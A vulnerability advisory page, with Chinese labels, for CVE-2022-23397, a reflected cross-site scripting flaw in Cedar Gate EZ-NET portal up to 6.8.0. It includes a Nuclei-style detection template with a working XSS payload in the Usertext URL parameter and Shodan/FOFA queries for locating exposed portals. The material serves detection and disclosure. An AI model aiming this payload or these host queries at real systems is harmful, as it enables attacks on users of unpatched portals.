CVE-2022-23397: Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Cedar Gate EZ-NET | POC: 已公开

漏洞描述

The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.

PoC代码[已公开]

id: CVE-2022-23397

info:
  name: Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting
  author: srilakivarma
  severity: medium
  description: |
    The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.
  reference:
    - https://ado.im/cedar-gate-ez-net
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23397
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23397
    cwe-id: CWE-79
    epss-score: 0.03478
    epss-percentile: 0.87124
    cpe: cpe:2.3:a:cedargate:ez-net_portal:6.5.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cedargate
    product: ez-net_portal
    shodan-query: "EZNET_"
    fofa-query: "EZNET_"
  tags: cve,cve2022,cedar,eznet,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/EZ-NET60/AlertMessages.aspx?Usertext=<img%20src%3Dx%20onerror%3Dalert(document.domain)>"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "><img src=x onerror=alert(document.domain)></span>", "/EZ-NET60/")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022049ee14f69906e0f986f465ffe77f8b468482fe3ec05e0c10218dc0d71fa35899022063c3d5f29f50e3bbbaf485f523d019519ce27888f591330cd2d0cfec66c441af:922c64590222798bb761d5b6d8e72950